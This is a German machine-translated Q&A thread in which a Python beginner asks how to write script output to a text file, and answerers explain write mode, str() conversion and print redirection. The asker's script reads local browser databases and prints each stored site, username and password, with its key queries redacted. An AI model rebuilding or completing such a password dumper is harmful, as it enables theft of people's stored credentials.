2016-03-22 14 views
1

Ich bin neu bei Python und ich versuche herauszufinden, wie man die Ergebnisse in eine Textdatei schreibt. Hier ist mein Code:Python 2.7.11 Ausgabe in eine Textdatei schreiben

from os import getenv 
import sqlite3 

conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized") 
conn3 = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized") 
conn1 = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized") 
cursor3 = conn3.cursor() 
cursor1 = conn1.cursor() 
cursor = conn.cursor() 
cursor.execute('SELECT ...sanitized') 
for result in cursor.fetchall(): 
    ...sanitized 
    if password: 
     print "Site: " + result[0] 
     print 'Username: ' + result[1] 
     print 'Password: ' + password 
     print '---------------------------------------------' 
cursor3.execute("...sanitized") 
print("fetchall:") 
result = cursor3.fetchall() 
for r in result: 
    print(r) 

cursor1.execute("...sanitized") 
print("fetchall:") 
result = cursor1.fetchall() 
for r in result: 
    print(r) 

ich versucht habe, f = open ('output.txt') am Anfang des Codes und platziert

f.write(r) # and I tried 
f.write(result) # after defining it near bottom as these are my variables 
f.close()# :(

Die Traceback sagt, es wurde erwartet ein Schnur?

Kann mir jemand erklären, was in den Druck gehen soll (hier)? Ich versuche, die Konzepte zu verstehen, aber es nicht ganz noch erhalten

Dank

+0

Sie verpassen eine enge Zitat in der ersten 'connect' Linie – khelwood

+0

Danke, aber ja, ich weiß :) ich den Code – SafetyNetter

+0

zu sanieren versuchte Wenn Sie mit Unix, Rohr nur die Ausgabe in eine Datei : 'python myscript.py> output.txt' –

Antwort

0

Es scheint wie result eine Liste ist, während write eine Zeichenfolge erwartet. Anstatt also f.write(result) könnten Sie versuchen, entweder f.write(str(result)) oder, um eine Ausgabe zu erhalten, genau wie in Ihrem Skript:

for r in result: 
    f.write(r) 

Alternativ könnten Sie importieren und dann überschreiben die print Funktion von Python 3, so dass alles, was Sie print wird automatisch in die Datei geschrieben:

from __future__ import print_function 

_print = print # reference to original print function 
outfile = open("output.txt", "w") # file to write output to, mode is 'w' for writing 
def print(*args, **kwargs): 
    """new print function always writing to file""" 
    _print(*args, file=outfile, **kwargs) 

print("foo") 
print("bar", end=" ") 
print("blub") 

outfile.close() 

Oder ähnlich, sys.stdout zu überschreiben, und dann print nur normalerweise verwenden:

import sys 
sys.stdout = open("output.txt", "w") 
+0

f.schreiben (str (Ergebnis)) gearbeitet, aber warum? Liegt es daran, in str zu konvertieren? – SafetyNetter

+0

@SafetyNetter Ja, das ist genau der Grund. 'write' erwartet eine Zeichenkette, also müssen Sie alles, was Sie übergeben, in eine Zeichenkette umwandeln. Es wird diese Konvertierung für Sie nicht tun. –

+0

Vielen Dank dafür – SafetyNetter

3

Erstens wollen Sie sicher, dass Sie die Datei zum Schreiben öffnen machen,

f=open("output.txt","w") 

Dann könnten Sie

for r in result: 
    print >> f, r 

Am Ende des Skripts verwenden, stellen Sie sicher, dass Sie verwenden:

f.close() 

Alternativ müssen Sie möglicherweise Ihreübertragenzu einer Zeichenfolge print >> f, str(r)

+0

Hallo Ich habe dies getan und ich bekomme einen Fehler von diesem: print "Site:" + result [0] – SafetyNetter

+0

Verwenden Sie "print" Site: "+ str (result [0])" –

0

Wie andere bereits erwähnt haben, müssen Sie mit dem Argument 'w' angeben, dass Sie in die Datei schreiben möchten.

Es empfiehlt sich, beim Öffnen der Datei with zu verwenden. Es stellt insbesondere sicher, dass Ihre Datei ordnungsgemäß geschlossen wird, auch wenn eine Ausnahme vorliegt.

with open('output.txt', 'w') as f: 
    for r in result: 
     f.write(str(r)) 
Verwandte Themen